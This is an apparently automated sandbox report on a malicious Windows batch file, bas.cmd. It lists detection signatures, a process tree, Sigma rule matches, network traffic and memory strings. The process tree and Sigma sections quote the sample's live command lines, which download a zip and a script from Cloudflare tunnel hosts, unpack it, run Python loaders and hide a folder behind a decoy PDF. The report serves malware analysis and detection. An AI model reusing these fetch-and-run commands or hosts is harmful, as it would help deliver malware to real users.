Edit tour

Windows Analysis Report
bas.cmd

Overview

General Information

Sample name:	bas.cmd
Analysis ID:	1446789
MD5:	1ea19718513b31928f6de0b9987d4db7
SHA1:	5fc33851fa6b132978c96d27cca0b5be99576391
SHA256:	626482f7b1e174f28191bfb6a8b7d46920d0b18cf1783f870bfb0d95214f3ddd
Tags:	cmd
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Loading BitLocker PowerShell Module

Maps a DLL or memory area into another process

Suspicious powershell command line found

Abnormal high CPU Usage

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Cloudflared Tunnels Related DNS Requests

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 4500 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\bas.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 6892 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://floor-contemporary-genius-accommodation.trycloudflare.com/SCANNED.pdf MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 2664 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=1992,i,15984810372542594167,14426285752425884727,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

timeout.exe (PID: 3736 cmdline: timeout /t 5 REM Wait for PDF to open (adjust timeout as needed) MD5: 100065E21CFBBDE57CBA2838921F84D6)

powershell.exe (PID: 6156 cmdline: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 2120 cmdline: powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\jnk8ai.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }" MD5: 04029E121A0CFA5991749937DD22A1D9)

AppInstallerPythonRedirector.exe (PID: 3452 cmdline: python.exe hey.py MD5: 5E1055E69FF01930C62388625726A90E)

AppInstallerPythonRedirector.exe (PID: 7912 cmdline: python.exe new.py MD5: 5E1055E69FF01930C62388625726A90E)

AppInstallerPythonRedirector.exe (PID: 2132 cmdline: python.exe loader.py MD5: 5E1055E69FF01930C62388625726A90E)

chrome.exe (PID: 7556 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://gonna-truly-conflict-deserve.trycloudflare.com/a.pdf MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7844 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2008,i,13683390946796946304,14765207737704090902,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

timeout.exe (PID: 7764 cmdline: timeout /t 5 REM Wait for PDF to open (adjust timeout as needed) MD5: 100065E21CFBBDE57CBA2838921F84D6)

powershell.exe (PID: 2980 cmdline: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/update.cmd' -OutFile 'C:\Users\user\Downloads\update.cmd' }" MD5: 04029E121A0CFA5991749937DD22A1D9)

attrib.exe (PID: 7640 cmdline: attrib +h "C:\Users\user\Downloads\Python" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

svchost.exe (PID: 6332 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Sigma Signatures

Sigma detected: Cloudflared Tunnels Related DNS Requests

Source: DNS query

Author: Nasreddine Bencherchali (Nextron Systems): Data: Image: C:\Program Files\Google\Chrome\Application\chrome.exe, QueryName: floor-contemporary-genius-accommodation.trycloudflare.com

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }", CommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\bas.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4500, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }", ProcessId: 6156, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }", CommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\bas.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4500, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }", ProcessId: 6156, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }", CommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\bas.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4500, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }", ProcessId: 6156, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6332, ProcessName: svchost.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png

URL Reputation: Label: malware

Source: https://floor-contemporary-genius-accommodation.trycloudflare.com/SCANNED.pdf	HTTP Parser: No favicon
Source: https://floor-contemporary-genius-accommodation.trycloudflare.com/SCANNED.pdf	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.7:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.7:49723 version: TLS 1.2

Source:	Binary string: n.pdb~ source: powershell.exe, 00000019.00000002.1479258385.0000025C73E75000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1322175654.0000023D457AD000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1479867351.0000025C74159000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb^ source: powershell.exe, 00000019.00000002.1478427161.0000025C73E24000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000006.00000002.1320379549.0000023D45517000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1477743756.0000025C73DBE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000019.00000002.1479867351.0000025C7413A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdbwork source: powershell.exe, 00000006.00000002.1320379549.0000023D455BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000006.00000002.1322175654.0000023D457AD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1322175654.0000023D457AD000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1478427161.0000025C73E65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdbll,-- source: powershell.exe, 00000019.00000002.1477483660.0000025C73DA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdb source: powershell.exe, 00000019.00000002.1479258385.0000025C73E75000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdbn source: powershell.exe, 00000019.00000002.1479867351.0000025C74120000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbJ source: powershell.exe, 00000006.00000002.1322175654.0000023D457AD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32em32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.catCulture source: powershell.exe, 00000019.00000002.1478427161.0000025C73E24000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \mscorlib.pdb source: powershell.exe, 00000006.00000002.1320379549.0000023D455BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb? source: powershell.exe, 00000019.00000002.1478427161.0000025C73E65000.00000004.00000020.00020000.00000000.sdmp

Source: global traffic

TCP traffic: 192.168.2.7:55732 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /SCANNED.pdf HTTP/1.1Host: floor-contemporary-genius-accommodation.trycloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SCANNED.pdf HTTP/1.1Host: floor-contemporary-genius-accommodation.trycloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://floor-contemporary-genius-accommodation.trycloudflare.com/SCANNED.pdfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: floor-contemporary-genius-accommodation.trycloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://floor-contemporary-genius-accommodation.trycloudflare.com/SCANNED.pdfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: floor-contemporary-genius-accommodation.trycloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://floor-contemporary-genius-accommodation.trycloudflare.com/SCANNED.pdfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SCANNED.pdf HTTP/1.1Host: floor-contemporary-genius-accommodation.trycloudflare.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=NLHt+aPZ4AMtH2E&MD=x3xdAypK HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=NLHt+aPZ4AMtH2E&MD=x3xdAypK HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: global traffic	DNS traffic detected: DNS query: floor-contemporary-genius-accommodation.trycloudflare.com
Source: global traffic	DNS traffic detected: DNS query: gonna-truly-conflict-deserve.trycloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: google.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 May 2024 19:12:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCF-Ray: 88875b93b81c423d-EWRCF-Cache-Status: DYNAMICServer: cloudflare
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 May 2024 19:12:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCF-Ray: 88875b9a3a08726e-EWRCF-Cache-Status: DYNAMICServer: cloudflare
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 May 2024 19:12:30 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCF-Ray: 88875ba028b243d9-EWRCF-Cache-Status: DYNAMICServer: cloudflare
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 May 2024 19:12:30 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCF-Ray: 88875b9fcf3f7c6c-EWRCF-Cache-Status: DYNAMICServer: cloudflare

Source: powershell.exe, 00000019.00000002.1477989612.0000025C73DDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: svchost.exe, 00000007.00000002.2484960875.000001F54A800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000007.00000002.2485307565.000001F54A8D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/
Source: svchost.exe, 00000007.00000002.2485190043.000001F54A861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/069D
Source: svchost.exe, 00000007.00000002.2485307565.000001F54A8D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/;
Source: svchost.exe, 00000007.00000002.2483331175.000001F5452B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/ed
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000007.00000003.1905616099.000001F54A744000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2106891970.000001F54A745000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1881444623.000001F54A742000.00000004.00000800.00020000.00000000.sdmp, edb.log.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adsykcxo2vug6rqg37fxiu64x3ja_2024.5.14.0/
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 00000007.00000002.2483705407.000001F545B02000.00000004.00000020.00020000.00000000.sdmp, edb.log.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/imoffpf67hel7kbknqflao2oo4_1.0.2738.0/nei
Source: svchost.exe, 00000007.00000002.2485190043.000001F54A861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/es
Source: svchost.exe, 00000007.00000002.2485190043.000001F54A88C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80
Source: svchost.exe, 00000007.00000002.2485190043.000001F54A861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80/edgedl/release2/chrome_component/imoffpf67hel7kbknqflao2oo4_1.0.2738.0/
Source: edb.log.7.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000006.00000002.1289535614.0000023D2E9F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1315736917.0000023D3D472000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1315736917.0000023D3D5B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1410898228.0000025C5D649000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1469382106.0000025C6BD07000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1469382106.0000025C6BE49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000019.00000002.1410898228.0000025C5BEC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000006.00000002.1289535614.0000023D2D401000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1410898228.0000025C5BC91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000019.00000002.1410898228.0000025C5BEC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: sets.json.4.dr	String found in binary or memory: https://abczdrowie.pl
Source: powershell.exe, 00000006.00000002.1289535614.0000023D2D401000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1410898228.0000025C5BC91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: sets.json.4.dr	String found in binary or memory: https://alice.tw
Source: sets.json.4.dr	String found in binary or memory: https://autobild.de
Source: sets.json.4.dr	String found in binary or memory: https://baomoi.com
Source: sets.json.4.dr	String found in binary or memory: https://bild.de
Source: sets.json.4.dr	String found in binary or memory: https://blackrock.com
Source: sets.json.4.dr	String found in binary or memory: https://blackrockadvisorelite.it
Source: sets.json.4.dr	String found in binary or memory: https://bluradio.com
Source: sets.json.4.dr	String found in binary or memory: https://bolasport.com
Source: sets.json.4.dr	String found in binary or memory: https://bonvivir.com
Source: sets.json.4.dr	String found in binary or memory: https://bumbox.com
Source: sets.json.4.dr	String found in binary or memory: https://businessinsider.com.pl
Source: sets.json.4.dr	String found in binary or memory: https://cachematrix.com
Source: sets.json.4.dr	String found in binary or memory: https://cafemedia.com
Source: sets.json.4.dr	String found in binary or memory: https://caracoltv.com
